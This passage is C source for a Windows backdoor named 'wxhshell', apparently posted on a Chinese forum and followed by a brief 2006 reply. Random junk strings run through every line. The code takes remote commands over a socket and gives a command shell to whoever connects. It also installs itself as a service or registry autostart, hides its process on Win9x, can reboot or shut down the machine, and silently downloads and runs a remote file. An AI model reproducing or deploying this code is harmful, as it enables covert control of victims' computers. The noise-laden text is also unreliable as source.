% ,X(GwX  
    switch(cmd[0]) { %\^x3wP&o\  
  d6L(Q(:s  
  // 帮助 Jrffb=+b  
  case '?': { dB/Ep c&   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B02~/9*Y"  
    break; )V>FU=  
  } r|#4+'  
  // 安装 \UE9Ff+{  
  case 'i': { hrW.TwK  
    if(Install()) &3^40s/+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{8GT2h`4  
    else wj?f r?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oFsMQ Py  
    break; /!E /9[V  
    } y.~5n[W  
  // 卸载 <8y8^m`P9  
  case 'r': { 6[CX[=P30  
    if(Uninstall()) -kJF@w6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mwfgh&4%  
    else p1&d@PF&&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~Eo=R0O  
    break; |[: `izW  
    } <h;P<4JX  
  // 显示 wxhshell 所在路径 xCQ<G{;C  
  case 'p': { _&:o"""Wf  
    char svExeFile[MAX_PATH]; G%>[I6G  
    strcpy(svExeFile,"\n\r"); x7/2e{p uu  
      strcat(svExeFile,ExeFile); p\,lbrv  
        send(wsh,svExeFile,strlen(svExeFile),0); Bq _<v)M*  
    break; F{}z[0  
    } sn *s7v:  
  // 重启 :l 7\7IT  
  case 'b': { `  ^6}Dn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fq{nc]L6  
    if(Boot(REBOOT)) g\^(>Ouc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xE9s=}  
    else { INkrG.=u  
    closesocket(wsh); l/1uP  
    ExitThread(0); z1L.  
    } <oeHZD_ OR  
    break; T @z$g  
    } &d*9#?9  
  // 关机 \q,w)BE  
  case 'd': { `S.;&%B\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qS7*.E~j|]  
    if(Boot(SHUTDOWN)) A]n !d}?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{]=>n)j  
    else { JD'/m hN0  
    closesocket(wsh); !k[ zUti  
    ExitThread(0); 7IvCMb&%R  
    } yRy9*r=  
    break; In 1.R$O  
    } ~fgv7=(!  
  // 获取shell ~#-`Qh  
  case 's': { "zv+|_ZAfd  
    CmdShell(wsh); $]hf2Yr(  
    closesocket(wsh); ))MP]j9 T  
    ExitThread(0); BY 1~\M  
    break; S#""((U$  
  } bLUn0)c  
  // 退出 hMDyE.X-  
  case 'x': { D_8hn3FH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k4`v(au^  
    CloseIt(wsh); 9 np<r82  
    break; W]R5\ G*  
    } 6)?TWr'Ke  
  // 离开 8pk5[=3Z  
  case 'q': { ~ugcfDJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); co12\,aD  
    closesocket(wsh); 69L s"e  
    WSACleanup(); QKF2_Acc   
    exit(1); CBvBBt*  
    break; fW\u*dMMZE  
        } 'DIE#l`  
  } 85X^T]zo  
  } 5 )C~L]  
PzF)Vg  
  // 提示信息 [Z[)hUXE?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >,9t<p=Q  
} 5G2u(hx  
  } q`{.2yV  
UjfB+=7I{L  
  return; J^?O] |  
} >:K3y$]_  
c1z5t]d   
// shell模块句柄 N1SRnJu<f  
int CmdShell(SOCKET sock) kC#;j=K?  
{ v<-D>iJ  
STARTUPINFO si; |UBJu `%  
ZeroMemory(&si,sizeof(si)); ROfmAc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )dvOg'it  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x~mXtqg  
PROCESS_INFORMATION ProcessInfo; %?cPqRHJ ~  
char cmdline[]="cmd"; kiECJ@5p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NR3IeTd  
  return 0; )-sEm`(`I9  
} eygyVhJ  
ES+&e/G"ds  
// 自身启动模式 Z@*Z@]FC  
int StartFromService(void) "q%)we  
{ Eod2vr =Q  
typedef struct oL~Yrb%R  
{ ,`wxXU7  
  DWORD ExitStatus; -Wig k['v  
  DWORD PebBaseAddress; InDR\=o  
  DWORD AffinityMask; N7e^XUG   
  DWORD BasePriority; ?K]k(ZV_+Y  
  ULONG UniqueProcessId; xNONf4I:6J  
  ULONG InheritedFromUniqueProcessId; .5T7O_%FP  
}   PROCESS_BASIC_INFORMATION; X(1.Hjh  
?^7~|?v  
PROCNTQSIP NtQueryInformationProcess; D~ {)\;w^!  
BE U[M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1"k +K~:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0r@rXwz  
^a]i&o[c  
  HANDLE             hProcess; Fb*;5VNU.  
  PROCESS_BASIC_INFORMATION pbi; [C&c;YNp  
I/(`<s p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 81KtK[?b  
  if(NULL == hInst ) return 0; ~7k b4[  
1|%$ie  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7,jqA"9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b_LzG_n!   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d`xqs,0f  
65}:2l2<  
  if (!NtQueryInformationProcess) return 0;  $SDx) '!  
(thzW r6;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `?>OY&(  
  if(!hProcess) return 0; hIw*dob  
6yR7RF}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JAn3  
6?`py}:  
  CloseHandle(hProcess); QR#,n@fE  
(kSk bwu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EUNG&U  
if(hProcess==NULL) return 0; 9f V57  
m:H )b{  
HMODULE hMod; (2{1m#o  
char procName[255]; >!wwXhH(  
unsigned long cbNeeded; N$3F4b%+  
[m"X*Z F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); isN"7y|r:X  
FYi<+]HZ  
  CloseHandle(hProcess); q80?C.,`  
;CC[>  
if(strstr(procName,"services")) return 1; // 以服务启动 8?(4E 'vf  
Zs4N0N{  
  return 0; // 注册表启动 =l\D7s  
} +uH1rF_&@  
H<>x_}&  
// 主模块 ZE1#{u~[y  
int StartWxhshell(LPSTR lpCmdLine) Gh< r_O~L3  
{ LPXwfEHOm  
  SOCKET wsl; 3Y8%5/D5  
BOOL val=TRUE; yb]a p  
  int port=0; O[m+5+  
  struct sockaddr_in door; +Y \#'KrA  
l>:?U  
  if(wscfg.ws_autoins) Install(); "kL5HD]TC  
+Gjy%JFp  
port=atoi(lpCmdLine); eC3ZK"oJ  
}b{N[  
if(port<=0) port=wscfg.ws_port; 1\3n   
]_ _M*  
  WSADATA data; rzex"}/ly  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?$gEX@5h  
Coyop#q#"{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZA# jw 8F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4[(P>`Unx  
  door.sin_family = AF_INET; 18`?t_8g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E0*81PS  
  door.sin_port = htons(port); *AJW8tIP  
Kg%_e9nj#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tV T(!&(  
closesocket(wsl); _ '}UNIL  
return 1; ~+1t 17  
} J4JKAv~3  
Y`_6Ny="  
  if(listen(wsl,2) == INVALID_SOCKET) { p3-sEIw}Ru  
closesocket(wsl); :JOF!Q  
return 1; -yC},tK  
} _qGkTiP  
  Wxhshell(wsl); 6g!t1%Kb  
  WSACleanup(); #]Cr zLe  
;Z8K3p  
return 0; o|UZdGu  
Bkcs4 x  
} 8 /\rmf\  
b,!h[  
// 以NT服务方式启动 T+gqu &9R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *%MY. #  
{ jbG #__#_  
DWORD   status = 0; ~< k'{  
  DWORD   specificError = 0xfffffff; 8J>s|MZ  
{!<zk+h$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3n,F5?! m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Z]8SED  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 Z4H5!:(  
  serviceStatus.dwWin32ExitCode     = 0; T%:}/@  
  serviceStatus.dwServiceSpecificExitCode = 0; YUc&X^O  
  serviceStatus.dwCheckPoint       = 0; qEywExdiu  
  serviceStatus.dwWaitHint       = 0; :lcoSJ  
Er%nSH^"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e\)PGjSI  
  if (hServiceStatusHandle==0) return; tW 9vo-{+  
/Jo*O=Lpo  
status = GetLastError(); f):|Ad|  
  if (status!=NO_ERROR) ;ASlsUE\)  
{ uRp-yu[nt%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7H=/FT?e]  
    serviceStatus.dwCheckPoint       = 0; z;Kyg}  
    serviceStatus.dwWaitHint       = 0; d^,u"Z9P  
    serviceStatus.dwWin32ExitCode     = status; _RAPXU~ 6-  
    serviceStatus.dwServiceSpecificExitCode = specificError; b&0q%tCK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BCFvqhF7s  
    return; -`A6K!W&~p  
  } 5I@< 6S&X  
vQ 5 p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sqsBGFeG  
  serviceStatus.dwCheckPoint       = 0; \`x$@s?  
  serviceStatus.dwWaitHint       = 0; qi$6y?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2r\ f!m'  
} VJm).>E3k  
uN'e~X6  
// 处理NT服务事件,比如:启动、停止 U t0oh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aLG6yVtu  
{ $My%7S/3  
switch(fdwControl) sN;xHTY  
{ \QQw1c+  
case SERVICE_CONTROL_STOP: h19c*,0z!  
  serviceStatus.dwWin32ExitCode = 0; N5o jXX!l%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0<fN<iR`  
  serviceStatus.dwCheckPoint   = 0; GsxrqIaD  
  serviceStatus.dwWaitHint     = 0; q.~_vS%  
  { 7hQrL+%q8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k WF, *@.B  
  } TVQ9"C  
  return; J](AJkGzK  
case SERVICE_CONTROL_PAUSE: 3g)pLW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7mt;qn?n  
  break; #5=Yg5   
case SERVICE_CONTROL_CONTINUE: V) C4 sG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l(*`,-pv:  
  break; y&UcTE2;%(  
case SERVICE_CONTROL_INTERROGATE: ([^1gG+>J  
  break; ZI}7#K<9X  
}; 8L^5bJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (xy/:i".V  
} 'tklz*  
`gx_+m^  
// 标准应用程序主函数 H W)> `  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r 1nl!  
{ [a`89'"z  
>6KuZ_  
// 获取操作系统版本 7"FsW3an  
OsIsNt=GetOsVer(); x}{/) ?vC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1@egAo)  
1 VcZg%I  
  // 从命令行安装 0p)#!$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Etj@wy/E  
2ntL7F<ow  
  // 下载执行文件 +7.\>Ucq`  
if(wscfg.ws_downexe) { &iORB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wL\OAM6R  
  WinExec(wscfg.ws_filenam,SW_HIDE); "@#^/m)  
} Rq|7$O5  
59 R;n.Q  
if(!OsIsNt) { !#Ub*qY1Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 i]Njn k  
HideProc(); scT,yNV  
StartWxhshell(lpCmdLine); I x kL]  
} uD4on}  
else (p>?0h9[  
  if(StartFromService()) TgoaEufS<  
  // 以服务方式启动 ]ri5mnB  
  StartServiceCtrlDispatcher(DispatchTable); )[oegfnn-  
else Yw7txp`i  
  // 普通方式启动 $SQ UN*/>  
  StartWxhshell(lpCmdLine); 6j/g/!9c!  
xf% _HMKc  
return 0; H,u{zU')  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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